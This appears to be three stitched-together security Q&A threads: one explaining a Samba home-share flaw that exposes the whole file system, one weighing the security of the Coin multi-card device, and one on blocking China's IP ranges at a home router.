Can anyone explain more about this vulnerability? How this bypass happens if I do not allow anyone to access to shares without password, and possible counter-measures to this issue besides updating to latest samba version? I did not find any further details online.

I think that the following quote explains the vulnerability best:

  A flaw was discovered in the way Samba handled users without a home directory set in the back-end password database (e.g. "/etc/passwd"). If a share for the home directory of such a user was created (e.g. using the automated "[homes]" share), any user able to access that share could see the whole file system, possibly bypassing intended access restrictions.

So it's not authentication that is bypassed here. It's just that the authenticated user will see the entire file system, not just his home share. Note that access will still be subject to file and directory permissions.


Are there any reasons to be concerned about the security of "Coin"? I just came across this:

  https://onlycoin.com/

A credit-card sized device that not only holds the info for as many credit and debit and membership cards as you want (they claim) but also can be swiped just like whichever credit card you select on its interface.

The convenience is obvious, but are there any reasons to question the security?  (For instance, 128-bit bit encryptions sounds pathetic when 2048 bit should be trivially easy to implement and a lot harder to crack. But I'm sure there could be much bigger and more subtle problems that I don't notice.)

You're confusing the key size of symmetric algorithms such as 128 bit AES and the key size of an asymmetric algorithms like RSA, which would need an estimated 3072 bit key to achieve a similar level of security.

The problems I see are not so much with security. It seems like that would be a slight overall improvement over a regular printed mag stripe card. My concerns are with missing functionality. It won't do EMV. It won't do NFC. It doesn't protect against skimming attacks. And it will be obsolete in 2015.


How do I configure a home router to block traffic to and from specific geographic regions? My mom keeps typing in wrong URLs with typos and getting sent to Chinese typosquatting malware or fraud sites, so I want to configure my home router to block all traffic to and from China as much as possible.

Did some research on this and none of the search results are conclusive. It's possible the instructions vary by router.

The solution doesn't have to be 100%. In fact, some of the search results I found hinted that perfect geographic blocking is impossible because the blocking tables would be too large. For my purposes, blocking >= 95% of China should be sufficient protection.

Due diligence searching: I see a lot of questions and no really good answers.

https://www.google.com/search?q=how+to+ban+all+traffic+to+and+from+china+on+a+home+router&ie=utf-8&oe=utf-8&client=firefox-b-1

https://www.google.com/search?client=firefox-b-1&ei=LiwIXOmmLrKb_QbbgYLIDw&q=how+to+configure+geographic+site+banning+on+a+home+router

https://www.google.com/search?client=firefox-b-1&ei=SywIXMLpMsae_Qaf3qLgAQ&q=how+do+i+configure+my+home+router+to+block+china

Most jarring is the complete absence of specific step-by-step instructions on how to configure this for beginners who have no clue where to start. That's what I'm looking for: "How to configure geographic web traffic blocking on a home router for dummies".

Something else that further makes the search difficult is that most of the questions are framed in the context of web site operators who want to block geographic regions known to cause trouble on the Web (usually Russia, China, and sometimes parts of Eastern Europe). I'm looking for the reverse - block all websites and traffic to/from known generally malicious regions.

If the instructions are specific to each router, post a comment and I'll reply with the type of my router.

Another alternative is setting up a firewall program on her computer set up to block China and other known bad-actor countries as needed.

If you don't have a geo-lookup/block service with your router (probably you do not for a home router) then you could block based on the IP ranges assigned to China.  This is something you can search on google.  There is a list here http://lite.ip2location.com/china-ip-address-ranges

Note:  There are a lot of ip ranges and to implement this non-horribly-painfully I hope your router/firewall supports a bulk import of ranges ( the site I linked will export a csv of the ranges).